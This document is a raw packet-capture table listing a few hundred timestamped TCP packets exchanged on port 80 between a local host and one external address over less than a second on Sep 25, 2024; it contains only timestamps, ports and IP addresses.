Sep 25, 2024 03:51:31.563158035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563168049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563170910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563179970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563195944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563210011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563307047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563566923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563580036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563597918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563611031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563621998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563636065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563636065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563677073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563730001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563743114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563755989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563767910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563781977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563786030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563795090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563807011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563819885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563832998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563837051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563837051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563847065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563858032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563868999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563879967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563884974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563884974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563895941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563909054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563921928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563961029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563961029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.564531088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.564544916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.564554930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.564568043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.564600945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.564625025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.587341070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.587402105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.587414980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.587429047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.587475061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.587495089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.587508917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.587521076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.587532043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.587563038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.587563038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.587593079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651102066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651120901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651133060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651144028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651232004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651242018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651245117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651356936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651367903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651372910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651388884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651412010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651460886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651473045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651542902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651587963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651599884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651611090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651622057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651634932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651645899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651669025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651669025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651721001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651791096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651870966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651880980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651890993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651899099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651902914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.651937008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.651982069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.652020931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652030945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652048111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652057886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652067900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652077913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652090073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652112961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.652112961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.652287960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652298927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652308941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652318954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652369022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.652446032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652456045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652467012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652477980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652482033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652515888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652518988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.652518988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.652529001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652537107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.652540922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652553082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652564049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.652589083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.652589083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653023958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653054953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653065920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653074980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653085947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653098106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653109074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653117895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653119087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653132915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653143883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653146982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653156996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653168917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653179884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653192043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653214931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653214931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653578997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653590918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653600931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653604984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653615952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653625965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653636932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653645039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653646946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653666019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653688908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653733015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653934956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653944969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653954029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653964043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653975010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653985023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.653999090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.653999090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654047012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654112101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654124022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654134035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654145002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654155016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654166937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654174089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654177904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654189110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654200077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654210091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654210091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654212952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654227972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654237986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654248953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654262066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654268980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654268980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654299974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654299974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.654983044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.654994011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655004025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655014992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655026913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655036926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655047894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655056953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655061007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.655066967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655077934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655087948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655097961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655107975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655114889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.655114889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.655118942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655132055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655142069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655144930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.655153990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655164957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655174971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655185938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655189037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.655199051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.655204058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.655216932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.655236959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.655893087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.678479910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.678517103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.678529978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.678584099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.678596020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.678601027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.678608894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.678625107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.678663015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.678689003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742116928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742130041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742209911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742234945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742260933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742273092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742315054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742366076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742377996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742389917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742402077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742429972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742429972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742496967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742619991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742630959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742635012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742643118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742654085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742666006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742697954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742697954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742816925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742829084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742841005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742852926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742866039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742893934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742893934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742932081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742947102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.742976904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.742976904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743067026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743077993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743088961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743105888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743117094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743128061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743181944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743181944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743230104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743242025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743252039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743264914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743278027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743289948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743303061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743303061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743387938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743397951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743429899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743442059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743452072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743465900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743498087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743498087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743638992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743652105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743664026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743675947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743688107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743700027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743704081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743712902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743724108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743735075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743743896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743777037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743777037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.743988037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.743999004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744010925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744020939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744033098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744044065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744055033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744066000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744077921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744082928 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744082928 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744088888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744102955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744111061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744115114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744127989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744148970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744148970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744321108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744333029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744343996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744357109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744396925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744396925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744400024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744412899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744424105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744436026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744447947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744460106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744469881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744478941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744503021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744503021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744688988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744700909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744712114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744723082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744761944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744771004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744781971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744792938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744803905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744817972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.744847059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.744847059 CEST	49730	80	192.168.2.4	3.80.28.180
